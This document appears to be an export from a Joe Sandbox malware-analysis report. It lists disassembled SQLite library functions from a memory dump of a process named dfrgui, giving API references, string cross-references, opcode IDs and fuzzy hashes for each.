Instruction Fuzzy Hash: 364170B0619A41CBEB41AFE9C58431A7AF1FB8574DF24C92ED6848F340D776C895CB82

Function 61E6BC76 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 121COMMON

Download Yara Rule

Strings

invalid rootpage, xrefs: 61E6BDE7
%a, xrefs: 61E6BD01

Memory Dump Source

Source File: 00000008.00000002.636796223.0000000061E01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.636792768.0000000061E00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636806507.0000000061E8D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636810381.0000000061E8F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636819386.0000000061E9E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636823745.0000000061E9F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636827724.0000000061EA1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636831226.0000000061EA4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA5000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA9000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID:
String ID: invalid rootpage$%a
API String ID: 0-1093786946
Opcode ID: 8d1782ff635f7dd8ae3f3805606bc9f0896402c69c13158c974d7fa0051bf420
Instruction ID: e0ff652ed62c28bbdc248fd7bc1921e44b276cd461225d90b28f0e325e5ff259
Opcode Fuzzy Hash: 8d1782ff635f7dd8ae3f3805606bc9f0896402c69c13158c974d7fa0051bf420
Instruction Fuzzy Hash: 19417874A443859BDB10CF69C080B8EBBF9AF99318F64C82DE9989F345D730D841CB92

Function 61E380F6 Relevance: 10.6, APIs: 7, Instructions: 112COMMON

Download Yara Rule

APIs

sqlite3_result_error.SQLITE3 ref: 61E3811E
sqlite3_value_int.SQLITE3 ref: 61E38130
sqlite3_value_text.SQLITE3 ref: 61E38146
sqlite3_value_text.SQLITE3 ref: 61E38154
sqlite3_result_text.SQLITE3 ref: 61E38236
sqlite3_free.SQLITE3 ref: 61E38241
sqlite3_result_error_code.SQLITE3 ref: 61E38257

Memory Dump Source

Source File: 00000008.00000002.636796223.0000000061E01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.636792768.0000000061E00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636806507.0000000061E8D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636810381.0000000061E8F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636819386.0000000061E9E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636823745.0000000061E9F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636827724.0000000061EA1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636831226.0000000061EA4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA5000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA9000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_value_text$sqlite3_freesqlite3_result_errorsqlite3_result_error_codesqlite3_result_textsqlite3_value_int
String ID:
API String ID: 2838836587-0
Opcode ID: 4af5dea1b56501d4db870a9ca61df2f1aa970c4f0b0871d8bbfb93fa1c5484f6
Instruction ID: 904adb5059fa684c45d4782c6a6921a83b81b0fb55681aa8ade58a233245f17f
Opcode Fuzzy Hash: 4af5dea1b56501d4db870a9ca61df2f1aa970c4f0b0871d8bbfb93fa1c5484f6
Instruction Fuzzy Hash: 8C5183B49047599FCB00DFA8C484A9DBBF4BF88354F10892AE898EB354E734D945CF51

Function 61E2481B Relevance: 10.6, APIs: 7, Instructions: 101COMMON

Download Yara Rule

APIs

sqlite3_value_bytes.SQLITE3 ref: 61E24864
sqlite3_value_bytes.SQLITE3 ref: 61E24871
sqlite3_value_blob.SQLITE3 ref: 61E24893
sqlite3_value_blob.SQLITE3 ref: 61E248A2
sqlite3_value_text.SQLITE3 ref: 61E248AB
sqlite3_value_text.SQLITE3 ref: 61E248BD
memcmp.MSVCRT ref: 61E248EE

Memory Dump Source

Source File: 00000008.00000002.636796223.0000000061E01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.636792768.0000000061E00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636806507.0000000061E8D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636810381.0000000061E8F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636819386.0000000061E9E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636823745.0000000061E9F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636827724.0000000061EA1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636831226.0000000061EA4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA5000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA9000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_value_blobsqlite3_value_bytessqlite3_value_text$memcmp
String ID:
API String ID: 2264764126-0
Opcode ID: a74d88234d147792581517540d1faafaaf490ee29babce830b1e1e6df9238842
Instruction ID: 7a156fee01a37ca3ebfe2bb5458f569e4621baa5d2129305e7e88d3859f29bcf
Opcode Fuzzy Hash: a74d88234d147792581517540d1faafaaf490ee29babce830b1e1e6df9238842
Instruction Fuzzy Hash: 6D31A1B5A046568BDB04DFA9C4A06ADBBF0EF8C314F25812BE898D7300D735E941CF51

Function 61E3981D Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 83COMMON

Download Yara Rule

APIs

sqlite3_value_text.SQLITE3 ref: 61E39867
sqlite3_value_text.SQLITE3 ref: 61E39896
sqlite3_result_error_nomem.SQLITE3 ref: 61E398BB

Part of subcall function 61E39162: sqlite3_mprintf.SQLITE3 ref: 61E39177
Part of subcall function 61E39162: sqlite3_result_error.SQLITE3 ref: 61E3918D
Part of subcall function 61E39162: sqlite3_free.SQLITE3 ref: 61E39195

Strings

insert, xrefs: 61E39849
set, xrefs: 61E3984E

Memory Dump Source

Source File: 00000008.00000002.636796223.0000000061E01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.636792768.0000000061E00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636806507.0000000061E8D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636810381.0000000061E8F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636819386.0000000061E9E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636823745.0000000061E9F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636827724.0000000061EA1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636831226.0000000061EA4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA5000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA9000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_value_text$sqlite3_freesqlite3_mprintfsqlite3_result_errorsqlite3_result_error_nomem
String ID: insert$set
API String ID: 832408550-3711289001
Opcode ID: 20409f0703a39ed57f470ffba64e7f75554ddc69d89ef0623225cc09fc748892
Instruction ID: 8d2c395ed07119da726fb927f95dbaeb3efbe11155e2626f1bf2e887feae2097
Opcode Fuzzy Hash: 20409f0703a39ed57f470ffba64e7f75554ddc69d89ef0623225cc09fc748892
Instruction Fuzzy Hash: A8316B70A08259DBDB01DFA8C484BAEBBF5AFC8318F29C459D8959B351DB34E845CB41

Function 61E3466C Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 76COMMON

Download Yara Rule

APIs

sqlite3_result_error.SQLITE3 ref: 61E34697
sqlite3_result_error.SQLITE3 ref: 61E346FA

Strings

J, xrefs: 61E3476F

Memory Dump Source

Source File: 00000008.00000002.636796223.0000000061E01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.636792768.0000000061E00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636806507.0000000061E8D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636810381.0000000061E8F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636819386.0000000061E9E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636823745.0000000061E9F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636827724.0000000061EA1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636831226.0000000061EA4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA5000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA9000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_result_error
String ID: J
API String ID: 497837271-1141589763
Opcode ID: 9dcdcfbeeac12923db463cb6f82f29b53090bd787a5ec042b42b222428f2c33b
Instruction ID: e715ce3b23a9d89d76e15e2e19a0e984e95e63e86c1e7242b94dc3aca91ae2ee
Opcode Fuzzy Hash: 9dcdcfbeeac12923db463cb6f82f29b53090bd787a5ec042b42b222428f2c33b
Instruction Fuzzy Hash: 87317174604795DBCB10EF38C884B4DBBA0AF85318F20C52DE8988B341C73AE859CB42

Function 61E33FC1 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 74COMMON

Download Yara Rule

APIs

sqlite3_value_text.SQLITE3 ref: 61E33FE7
sqlite3_value_bytes.SQLITE3 ref: 61E33FF1
sqlite3_value_text.SQLITE3 ref: 61E3401B
sqlite3_value_bytes.SQLITE3 ref: 61E34026
sqlite3_result_error.SQLITE3 ref: 61E34066

Strings

null, xrefs: 61E34005

Memory Dump Source

Source File: 00000008.00000002.636796223.0000000061E01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.636792768.0000000061E00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636806507.0000000061E8D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636810381.0000000061E8F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636819386.0000000061E9E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636823745.0000000061E9F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636827724.0000000061EA1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636831226.0000000061EA4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA5000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA9000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_value_bytessqlite3_value_text$sqlite3_result_error
String ID: null
API String ID: 1955785328-634125391
Opcode ID: 8533b2eee130e50d791db6e9e9d926718f3a7e8371df091bab9cc14544a0324a
Instruction ID: 3560bd06224b53abc45ba38dce85c2a982ae8dda54192066f63fe29db7d899d4
Opcode Fuzzy Hash: 8533b2eee130e50d791db6e9e9d926718f3a7e8371df091bab9cc14544a0324a
Instruction Fuzzy Hash: 681105B2B086544AC704AB6DD4C1256FBE2DBC5328F34C52FD5848B350D236C896CB82

Function 61E327BC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

sqlite3_aggregate_context.SQLITE3 ref: 61E327F1
sqlite3_value_text.SQLITE3 ref: 61E3281A
sqlite3_value_bytes.SQLITE3 ref: 61E32827
sqlite3_value_text.SQLITE3 ref: 61E3284C
sqlite3_value_bytes.SQLITE3 ref: 61E32858

Strings

,)?, xrefs: 61E32837

Memory Dump Source

Source File: 00000008.00000002.636796223.0000000061E01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.636792768.0000000061E00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636806507.0000000061E8D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636810381.0000000061E8F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636819386.0000000061E9E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636823745.0000000061E9F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636827724.0000000061EA1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636831226.0000000061EA4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA5000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA9000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_value_bytessqlite3_value_text$sqlite3_aggregate_context
String ID: ,)?
API String ID: 4225432645-1010226240
Opcode ID: ef3a6f03b26403631c46fa568fcbe8f3ba7e27b1abb4dc6df949290a863f3f48
Instruction ID: ec866d3af9bdfba2f590c54a8d62094c63587880869863bac8bffafc3f3e956d
Opcode Fuzzy Hash: ef3a6f03b26403631c46fa568fcbe8f3ba7e27b1abb4dc6df949290a863f3f48
Instruction Fuzzy Hash: F62127B5A046028BDB40DF7DC481A1AFBE5ABE8268B25C429E898CB315E735D841CF81

Function 61E29F16 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 48COMMON

Download Yara Rule

APIs

Part of subcall function 61E28F7C: sqlite3_log.SQLITE3(?,?,?,?,?,61E2902F), ref: 61E28FB7

sqlite3_mutex_enter.SQLITE3 ref: 61E29F45
sqlite3_value_text16le.SQLITE3 ref: 61E29F59
sqlite3_value_text16le.SQLITE3 ref: 61E29F87
sqlite3_mutex_leave.SQLITE3 ref: 61E29F9B

Strings

bad parameter or other API misuse, xrefs: 61E29F2C
out of memory, xrefs: 61E29F1B, 61E29F3D

Memory Dump Source

Source File: 00000008.00000002.636796223.0000000061E01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.636792768.0000000061E00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636806507.0000000061E8D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636810381.0000000061E8F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636819386.0000000061E9E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636823745.0000000061E9F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636827724.0000000061EA1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636831226.0000000061EA4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA5000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA9000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_value_text16le$sqlite3_logsqlite3_mutex_entersqlite3_mutex_leave
String ID: bad parameter or other API misuse$out of memory
API String ID: 3568942437-948784999
Opcode ID: af52fa978ee268feb76dabe1f40ecc78802fe26f8ee2565e2b0ef8161e05dbed
Instruction ID: 41fbcbcb1b19b461039911a842820c97a0f0e9bc3ba6b775ae2eccda77610216
Opcode Fuzzy Hash: af52fa978ee268feb76dabe1f40ecc78802fe26f8ee2565e2b0ef8161e05dbed
Instruction Fuzzy Hash: 2A015671A043514BE750AFB9C4D0A69B7E4AF45358F59C8BCED48CF305E735C8848791

Function 61E0A946 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 47COMMON

Download Yara Rule

APIs

sqlite3_mutex_enter.SQLITE3(?,?,?,61E13FC2), ref: 61E0A970
sqlite3_mutex_leave.SQLITE3(?,?,?,61E13FC2), ref: 61E0A9AC
sqlite3_mutex_enter.SQLITE3(?,?,?,61E13FC2), ref: 61E0A9C5
sqlite3_mutex_leave.SQLITE3(?,?,?,61E13FC2), ref: 61E0A9D8
sqlite3_free.SQLITE3(?,?,?,61E13FC2), ref: 61E0A9E0

Strings

,a, xrefs: 61E0A968, 61E0A9A4, 61E0A9BD, 61E0A9CA

Memory Dump Source

Source File: 00000008.00000002.636796223.0000000061E01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.636792768.0000000061E00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636806507.0000000061E8D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636810381.0000000061E8F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636819386.0000000061E9E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636823745.0000000061E9F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636827724.0000000061EA1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636831226.0000000061EA4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA5000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA9000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_mutex_entersqlite3_mutex_leave$sqlite3_free
String ID: ,a
API String ID: 251237202-370703091
Opcode ID: ab264bea2d9c77e2d129669bcaebca5c3caf25764e4eb36a39aa64bcea51463e
Instruction ID: c3f6eec059ef50e045805afa1e805330da141f4eb0138a33c3ac39ae4b98d8e6
Opcode Fuzzy Hash: ab264bea2d9c77e2d129669bcaebca5c3caf25764e4eb36a39aa64bcea51463e
Instruction Fuzzy Hash: 2111E2B8924F418FDB00EFBAC5855287BE4F74634AB558C2BE6888B301E730D4E0CB52

Function 61E3B940 Relevance: 9.4, APIs: 6, Instructions: 376stringCOMMON

Download Yara Rule

APIs

strcmp.MSVCRT ref: 61E3BD5B
sqlite3_free.SQLITE3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 61E3BD93
sqlite3_free.SQLITE3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 61E3BDAC
sqlite3_log.SQLITE3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 61E3BDE3
sqlite3_free.SQLITE3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 61E3BDFC
sqlite3_free.SQLITE3 ref: 61E3BE0F

Memory Dump Source

Source File: 00000008.00000002.636796223.0000000061E01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.636792768.0000000061E00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636806507.0000000061E8D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636810381.0000000061E8F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636819386.0000000061E9E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636823745.0000000061E9F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636827724.0000000061EA1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636831226.0000000061EA4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA5000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA9000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_free$sqlite3_logstrcmp
String ID:
API String ID: 2202632817-0
Opcode ID: b32ffa91df4674a485ddd260d8e3abb6ef3d06a3fc22803a0b37edad2b15009c
Instruction ID: 1983614f7065cedc0ffcafa89ea7fbc1f21b007b8bfb024b5e20b35acb653884
Opcode Fuzzy Hash: b32ffa91df4674a485ddd260d8e3abb6ef3d06a3fc22803a0b37edad2b15009c
Instruction Fuzzy Hash: 71F1F470E046598FDB04CFA9C48479DBBF1AF88318F24C529D85AAB358EB74E846CF41

Function 61E163ED Relevance: 9.2, APIs: 6, Instructions: 248COMMON

Download Yara Rule

APIs

sqlite3_mutex_enter.SQLITE3 ref: 61E16404
sqlite3_msize.SQLITE3 ref: 61E165E1
sqlite3_msize.SQLITE3 ref: 61E165EF
sqlite3_msize.SQLITE3 ref: 61E165FD
sqlite3_msize.SQLITE3 ref: 61E1660B
sqlite3_mutex_leave.SQLITE3 ref: 61E1674D

Memory Dump Source

Source File: 00000008.00000002.636796223.0000000061E01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.636792768.0000000061E00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636806507.0000000061E8D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636810381.0000000061E8F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636819386.0000000061E9E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636823745.0000000061E9F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636827724.0000000061EA1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636831226.0000000061EA4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA5000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA9000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_msize$sqlite3_mutex_entersqlite3_mutex_leave
String ID:
API String ID: 2585109301-0
Opcode ID: e2ea9d47cb9f36f6187c8d658b42c527170a30c89a9a46cd249742b1a3a99d88
Instruction ID: 3e2db8603e201e92329c8a6436e0daff0f8c6e5b559e240435b5c4289ae2c6ea
Opcode Fuzzy Hash: e2ea9d47cb9f36f6187c8d658b42c527170a30c89a9a46cd249742b1a3a99d88
Instruction Fuzzy Hash: 7FB115B5A05646CFDB10CF68C48579AB7F1BF89308F29C569E855AB309D770E812CFA0

Function 61E8A080 Relevance: 9.2, APIs: 6, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.636796223.0000000061E01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.636792768.0000000061E00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636806507.0000000061E8D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636810381.0000000061E8F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636819386.0000000061E9E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636823745.0000000061E9F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636827724.0000000061EA1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636831226.0000000061EA4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA5000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA9000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ee9632d98a62fd344a323c47bfe1b46c8eb4288ff0f245b17196c7b68786863
Instruction ID: 1c4fba5ad42c3705887d6482ae87875b737444aa9aba6907884cf7e47b6b682a
Opcode Fuzzy Hash: 4ee9632d98a62fd344a323c47bfe1b46c8eb4288ff0f245b17196c7b68786863
Instruction Fuzzy Hash: 1281E2B5A45A219FDB90DFA9C58064D7BF1BFC5354F28C869E848CB364E734E840CB52

Function 61E38ABC Relevance: 9.1, APIs: 6, Instructions: 121COMMON

Download Yara Rule

APIs

sqlite3_mprintf.SQLITE3 ref: 61E38ADD

Part of subcall function 61E35932: sqlite3_initialize.SQLITE3 ref: 61E35938
Part of subcall function 61E35932: sqlite3_vmprintf.SQLITE3 ref: 61E35952

sqlite3_free.SQLITE3 ref: 61E38C1D
sqlite3_free.SQLITE3 ref: 61E38C25

Part of subcall function 61E35904: sqlite3_free.SQLITE3 ref: 61E35913
Part of subcall function 61E35904: sqlite3_vmprintf.SQLITE3 ref: 61E35925

Memory Dump Source

Source File: 00000008.00000002.636796223.0000000061E01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.636792768.0000000061E00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636806507.0000000061E8D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636810381.0000000061E8F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636819386.0000000061E9E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636823745.0000000061E9F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636827724.0000000061EA1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636831226.0000000061EA4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA5000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA9000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_free$sqlite3_vmprintf$sqlite3_initializesqlite3_mprintf
String ID:
API String ID: 2044204354-0
Opcode ID: 3257d2304a51e70396e1be56956d5a857b2062ef6557ededf43c18dbae298c8d
Instruction ID: 57f307549e9d601d8810610c32baac455943f3e5b2bdc9dcc0553158b3545d59
Opcode Fuzzy Hash: 3257d2304a51e70396e1be56956d5a857b2062ef6557ededf43c18dbae298c8d
Instruction Fuzzy Hash: AD4104B4A09259DFCB04DFA9D480A9EBBF5AF88314F20CA2EE859D7340D734D802DB51

Function 61E332B8 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 335COMMON

Download Yara Rule

APIs

Part of subcall function 61E32DB2: sqlite3_realloc64.SQLITE3(?,?,?,?,?,?,?,?,?,?,00000000,00000001,?,?,61E332D3), ref: 61E32DE1

Part of subcall function 61E09235: memcmp.MSVCRT ref: 61E0928F

Part of subcall function 61E09235: memcmp.MSVCRT ref: 61E092F3

sqlite3_malloc64.SQLITE3 ref: 61E334D3

Part of subcall function 61E1A56D: sqlite3_initialize.SQLITE3 ref: 61E1A578

memcmp.MSVCRT ref: 61E33593
sqlite3_free.SQLITE3 ref: 61E33671
sqlite3_log.SQLITE3 ref: 61E33722

Strings

, xrefs: 61E333D2

Memory Dump Source

Source File: 00000008.00000002.636796223.0000000061E01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.636792768.0000000061E00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636806507.0000000061E8D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636810381.0000000061E8F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636819386.0000000061E9E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636823745.0000000061E9F000.00000002.00000001.01000000.0000000B.sdmpDownload File
